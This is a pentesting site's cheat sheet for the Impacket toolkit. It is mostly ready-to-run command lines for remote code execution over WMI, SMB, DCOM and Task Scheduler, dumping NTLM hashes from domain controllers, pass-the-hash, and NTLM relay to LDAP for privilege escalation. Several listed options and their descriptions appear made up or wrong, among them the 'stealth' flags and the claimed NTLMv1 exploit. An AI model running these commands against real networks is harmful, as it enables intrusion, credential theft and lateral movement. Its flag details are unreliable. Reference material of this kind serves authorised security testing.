Pentesting.Site - Impacket Cheat Sheet

Impacket is a collection of Python scripts and libraries used for penetration testing and security assessments. It provides tools for working with network protocols, exploiting vulnerabilities, and performing post-exploitation tasks. Penetration testers utilize Impacket for tasks ranging from network reconnaissance and credential extraction to remote code execution and lateral movement within networks.

Download Impacket

Installation and Setup

1
sudo apt update && sudo apt install impacket-scripts

1
sudo apt update && sudo apt install python3-impacket

1
python3 -m pipx install impacket

1
git clone https://github.com/fortra/impacket.git
2
cd impacket
3
pip install .

Tools Overview

Impacket provides tools for interacting with Windows networking, SMB, Kerberos, Active Directory, and other protocols. I have listed and created a cheat sheet for the most common ones I use in penetration testing.

wmiexec.py – Remote command execution via WMI
psexec.py – Remote execution using SMB and Named Pipes
smbexec.py – Remote execution through SMB, similar to Metasploit’s psexec
dcomexec.py – Remote execution using DCOM
atexec.py – Execution via Task Scheduler
secretsdump.py – Extract NTLM hashes and credentials
mimikatz.py – Execute Mimikatz remotely
getTGT.py – Request a TGT from a DC
ticketer.py – Generate Kerberos tickets
lookupsid.py – Enumerate domain users and groups
ntlmrelayx.py – NTLM Relay Attacks
rpcdump.py – List exposed RPC endpoints
samrdump.py – Enumerate SAM user accounts

wmiexec.py – Remote Command Execution via WMI

1
wmiexec.py DOMAIN/USER:PASSWORD@TARGET                               #Execute command remotely via WMI
2
wmiexec.py -hashes :NTLM_HASH DOMAIN/USER@TARGET                     #Use NTLM Hash for Authentication
3
wmiexec.py -nooutput DOMAIN/USER:PASSWORD@TARGET                     #Suppress command output
4
wmiexec.py -A DOMAIN/USER@TARGET                                     #Prompt for Password Instead of Providing in Command

psexec.py – Remote Execution Over SMB

1
psexec.py DOMAIN/USER:PASSWORD@TARGET                                #Execute commands via SMB Named Pipes
2
psexec.py -hashes :NTLM_HASH DOMAIN/USER@TARGET                      #Use NTLM Hash for Authentication
3
psexec.py -target-ip 10.1.1.1 DOMAIN/USER:PASSWORD@TARGET            #Specify Target IP
4
psexec.py -service-name CustomSvc DOMAIN/USER:PASSWORD@TARGET        #Customize Service Name

smbexec.py – Execute Commands via SMB

1
smbexec.py DOMAIN/USER:PASSWORD@TARGET                               #Execute commands interactively over SMB
2
smbexec.py -hashes :NTLM_HASH DOMAIN/USER@TARGET                     #Pass-the-Hash Execution
3
smbexec.py -shares DOMAIN/USER:PASSWORD@TARGET                       #List SMB Shares
4
smbexec.py -mode T DOMAIN/USER:PASSWORD@TARGET                       #Run Commands via Task Scheduler Instead of Service

dcomexec.py – Remote Execution via DCOM

1
dcomexec.py DOMAIN/USER:PASSWORD@TARGET                              #Execute commands over DCOM
2
dcomexec.py -hashes :NTLM_HASH DOMAIN/USER@TARGET                    #Pass-the-Hash Execution
3
dcomexec.py -object MMC20 DOMAIN/USER:PASSWORD@TARGET                #Use MMC20 DCOM Object

atexec.py – Task Scheduler Execution

1
atexec.py DOMAIN/USER:PASSWORD@TARGET                                #Execute Commands via Task Scheduler
2
atexec.py -hashes :NTLM_HASH DOMAIN/USER@TARGET                      #Use NTLM Hash for Authentication
3
atexec.py -debug DOMAIN/USER:PASSWORD@TARGET                         #Enable Debug Mode

secretsdump.py – Extract Credentials and Hashes

1
secretsdump.py DOMAIN/USER:PASSWORD@TARGET                           #Dump NTLM Hashes & Credentials
2
secretsdump.py -hashes :NTLM_HASH DOMAIN/USER@TARGET                 #Use Pass-the-Hash
3
secretsdump.py -just-dc-ntlm DOMAIN/USER:PASSWORD@TARGET             #Dump Only NTLM Hashes from DC
4
secretsdump.py -outputfile hashes.txt DOMAIN/USER:PASSWORD@TARGET    #Save Hashes to File

rpcdump.py – Dump RPC Endpoints

1
rpcdump.py DOMAIN/USER:PASSWORD@TARGET                               #List Exposed RPC Endpoints
2
rpcdump.py -target-ip 10.1.1.1 DOMAIN/USER:PASSWORD@TARGET           #Specify Target IP

samrdump.py – Enumerate SAM Accounts

1
samrdump.py DOMAIN/USER:PASSWORD@TARGET                              #Enumerate SAM User Accounts
2
samrdump.py -hashes :NTLM_HASH DOMAIN/USER@TARGET                    #Use NTLM Hash for Authentication

ntlmrelayx.py – NTLM Relay Attacks

1
ntlmrelayx.py -t TARGET                                              #Relay NTLM Authentication to Target
2
ntlmrelayx.py -smb2support -t TARGET                                 #Enable SMBv2 Support
3
ntlmrelayx.py -t ldap://DC_IP --delegate-access                      #Relay to LDAP for Privilege Escalation
4
ntlmrelayx.py -remove-mic -t TARGET                                  #Remove MIC to Exploit NTLMv1

Performance Tuning and Stealth Mode

1
wmiexec.py -silent DOMAIN/USER:PASSWORD@TARGET                       #Silent Execution
2
secretsdump.py -no-pass DOMAIN/USER@TARGET                           #Extract Hashes Without Password
3
ntlmrelayx.py -no-wcf -debug -t TARGET                               #Disable WCF and Enable Debugging
4
psexec.py -no-output DOMAIN/USER:PASSWORD@TARGET                     #Suppress Command Output

Best Practices

1
secretsdump.py -just-dc-ntlm DOMAIN/USER:PASSWORD@TARGET             #Extract Only NTLM Hashes
2
ntlmrelayx.py -t ldap://DC_IP --delegate-access                      #Relay NTLM to LDAP for Privilege Escalation
3
wmiexec.py -nooutput DOMAIN/USER:PASSWORD@TARGET                     #Suppress Command Output
4
smbexec.py -mode T DOMAIN/USER:PASSWORD@TARGET                       #Use Task Scheduler Mode for Execution